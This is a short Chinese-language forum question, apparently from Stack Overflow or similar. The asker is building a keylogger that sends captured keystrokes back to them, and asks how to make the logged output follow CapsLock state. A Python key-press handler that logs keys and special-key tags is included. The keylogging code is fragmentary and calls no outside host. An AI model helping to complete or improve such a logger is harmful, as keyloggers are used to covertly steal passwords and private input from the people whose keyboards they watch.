我正在写一个键盘记录器,我正在做一些收尾工作。现在我想让键盘记录器发送给我的输出根据按下 CapsLock 键的时间变为大写或小写?我该怎么做?
到目前为止这是无效的:
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
elif key == key.caps_lock:
current_key = "[CAPS]\n"
elif key == key.enter:
current_key = "\n[ENTER]\n"
elif key == key.tab:
current_key = "[TAB]"
elif key == key.backspace:
current_key = ""
elif key == key.shift or key == key.shift_r:
current_key = "[SHIFT]\n"
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)